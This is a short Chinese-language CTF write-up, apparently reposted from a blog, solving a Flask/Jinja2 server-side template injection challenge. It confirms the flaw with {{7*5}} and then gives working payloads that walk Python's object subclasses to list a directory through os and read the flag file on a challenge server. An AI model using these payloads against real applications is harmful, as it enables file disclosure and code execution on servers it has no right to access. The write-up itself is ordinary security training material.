Web_python_template_injection攻防世界ctf web

Web_python_template_injection

flask是使用Jinja2来作为渲染引擎的。看例子
在网站的根目录下新建templates文件夹,这里是用来存放html文件。也就是模板文件。

看到template injection可以猜到是SSTI(Server-Side Template Injection) 服务端模板注入
{{}}在Jinja2中作为变量包裹标识符,所以在{{}}里面的内容会被当做变量,并并执行。

1.检验是否为SSTI

http://111.198.29.45:44517/{{7*5}} //无论什么乘什么都可以

在这里插入图片描述
执行了{{}}里面的内容,即存在SSTI

2.读取文件
在这里插入图片描述
1)

http://111.198.29.45:44517/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

因为是做题,确认了是SSTI,执行以上命令,查看一级目录 ’ . ’ ,得到
在这里插入图片描述
2)读取fl4g文件

http://111.198.29.45:44517/%7B%7B''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()%7D%7D

得到flag

参考两篇bPython——flask漏洞探究的blog
https://www.cnblogs.com/Rasang/p/12181654.html
https://www.freebuf.com/column/187845.html

发布了19 篇原创文章 · 获赞 0 · 访问量 252

猜你喜欢

转载自blog.csdn.net/weixin_45689999/article/details/104625990